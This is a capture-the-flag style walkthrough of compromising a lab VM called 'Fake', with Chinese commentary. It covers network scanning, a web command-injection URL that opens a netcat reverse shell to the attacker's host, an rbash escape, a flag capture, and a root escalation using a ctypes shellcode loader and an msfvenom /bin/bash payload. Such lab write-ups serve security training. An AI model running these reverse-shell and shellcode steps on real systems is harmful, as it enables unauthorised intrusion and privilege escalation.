❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.188 08:00:27:7b:36:31 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f2:e6:ff VMware, Inc.
9 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.063 seconds (124.09 hosts/sec). 4 responded ❯ export ip=192.168.60.188 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Port scanning: Because every port has a story to tell. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.188:22 Open 192.168.60.188:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-23 12:13 CST Initiating ARP Ping Scan at 12:13 Scanning 192.168.60.188 [1 port] Completed ARP Ping Scan at 12:13, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 12:13 Completed Parallel DNS resolution of 1 host. at 12:13, 0.00s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 12:13 Scanning 192.168.60.188 [2 ports] Discovered open port 80/tcp on 192.168.60.188 Discovered open port 22/tcp on 192.168.60.188 Completed SYN Stealth Scan at 12:13, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.188 Host is up, received arp-response (0.00049s latency). Scanned at 2025-05-23 12:13:51 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:7B:36:31 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
Enter passphrase for key 'id': Linux Fake 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri May 23 00:32:44 2025 from 192.168.60.100 [rbash]:$[rbash]:$ id
❯ curl "http://$ip/jockey_hack/?cmd=busybox%20nc%20192.168.60.100%204444%20-e%20%2Fbin%2Fbash" ---------------------------- ❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from Fake-192.168.60.188-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [-] Cannot get the TTY of the shell. Response: bash: tty: command not found [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/Fake~192.168.60.188_Linux_x86_64/2025_05_23-12_50_37-861.log 📜 ─────────────────────────────────────────────────────────────────────────── jockey@Fake:/var/www/html/jockey_hack$
到现在终于绕过rbash，拿到一个正常稳定的终端了，重新设置PATH
不过你会发现怎么没法使用方向键进行回溯历史命令了，其实被我关了，哈哈🤣
重新开启，这样就舒服一点
1 2 3 4 5 6 7 8 9 10
jockey@Fake:/var/www/html/jockey_hack$ cd ~ jockey@Fake:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games jockey@Fake:~$ tail .bashrc ………………………… export PATH=/home/jockey/.local/bin set +o history set +o vi jockey@Fake:~$ set -o history jockey@Fake:~$ cat user.txt flag{user-7fc904f5c88c07c18b558dc203729555}
同时家目录中存在提示note.txt
1 2 3
jockey@Fake:~$ cat note.txt I like to backup. 我喜欢备份。
jockey@Fake:~$ dpkg -V 2>/dev/null ??5?????? c /etc/irssi.conf ??5?????? c /etc/php/7.4/fpm/pool.d/www.conf ??5?????? c /etc/apache2/apache2.conf ??5?????? c /etc/nginx/sites-available/default ??5?????? /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla ??5?????? c /etc/grub.d/10_linux ??5?????? c /etc/grub.d/40_custom ??5?????? c /etc/sudoers ??5?????? c /etc/sudoers.d/README ??5?????? c /etc/inspircd/inspircd.conf ??5?????? c /etc/inspircd/inspircd.motd ??5?????? c /etc/inspircd/inspircd.rules ??5?????? /usr/bin/passwd ??5?????? /var/lib/polkit-1/localauthority/10-vendor.d/org.freedesktop.packagekit.pkla ??5?????? c /etc/issue ??5?????? /usr/sbin/nologin
[email protected]'s password: Linux Fake 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. backup@Fake:~$
Root提权
回到正题，在backup用户的家目录中存在passwd_bak文件
1 2 3 4 5 6 7 8 9
backup@Fake:/home/jockey$ cd ~ backup@Fake:~$ backup@Fake:~$ ls -al total 100 drwxrwx--- 2 root backup 4096 May 23 01:04 . drwxr-xr-x 12 root root 4096 Apr 1 10:05 .. -rw-r--r-- 1 root root 25590 May 20 08:36 apt.extended_states.0 lrwxrwxrwx 1 root root 9 May 21 02:37 .bash_history -> /dev/null -rwxr-xr-x 1 root root 63736 May 20 2014 passwd_bak
if mprotect(addr_page_aligned, size_page_aligned, PROT_READ | PROT_WRITE | PROT_EXEC) != 0: raise Exception("Failed to set memory permissions")
# Cast the buffer to a function and call it hex_func_type = ctypes.CFUNCTYPE(ctypes.c_void_p) hex_func = hex_func_type(ctypes.addressof(hex_buffer)) hex_func()
❯ msfvenom -p linux/x64/exec CMD="/bin/bash" -f hex [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 46 bytes Final size of hex file: 92 bytes 48b82f62696e2f7368009950545f5266682d63545e52e80a0000002f62696e2f62617368005657545e6a3b580f05
